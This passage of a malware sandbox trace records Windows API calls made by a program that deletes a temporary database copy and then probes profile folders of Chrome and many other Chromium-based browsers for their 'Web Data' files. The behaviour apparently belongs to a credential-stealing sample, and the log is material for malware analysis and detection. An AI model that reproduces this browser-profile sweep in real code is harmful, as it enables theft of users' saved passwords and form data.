lpOverlapped=0x18dd40 | out: lpOverlapped=0x18dd40) returned 1 [0075.086] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd34 | out: lpOverlapped=0x18dd34) returned 1 [0075.087] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd44 | out: lpOverlapped=0x18dd44) returned 1 [0075.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd40 | out: lpFileInformation=0x18dd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.087] GetLastError () returned 0x2 [0075.087] ReadFile (in: hFile=0x328, lpBuffer=0x18ddc4, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18ddac, lpOverlapped=0x18dd70 | out: lpBuffer=0x18ddc4*, lpNumberOfBytesRead=0x18ddac*=0x10, lpOverlapped=0x18dd70) returned 1 [0075.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0075.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd58 | out: lpFileInformation=0x18dd58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.087] GetLastError () returned 0x2 [0075.087] ReadFile (in: hFile=0x328, lpBuffer=0x477b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18dd78, lpOverlapped=0x18dd3c | out: lpBuffer=0x477b160*, lpNumberOfBytesRead=0x18dd78*=0x800, lpOverlapped=0x18dd3c) returned 1 [0075.087] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd28 | out: lpOverlapped=0x18dd28) returned 1 [0075.087] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp")) returned 1 [0075.088] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0075.088] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0075.088] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0075.089] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0075.090] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0075.090] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0075.090] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0075.090] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0075.090] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0075.090] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.090] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0075.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.091] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.091] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.091] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0075.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.091] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.091] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.091] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0075.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.091] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.091] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.091] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0075.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.091] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.091] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.091] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0075.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.092] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.092] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.092] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0075.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.092] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.092] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.092] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0075.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.092] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.092] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.092] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0075.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.093] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.093] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.093] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0075.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 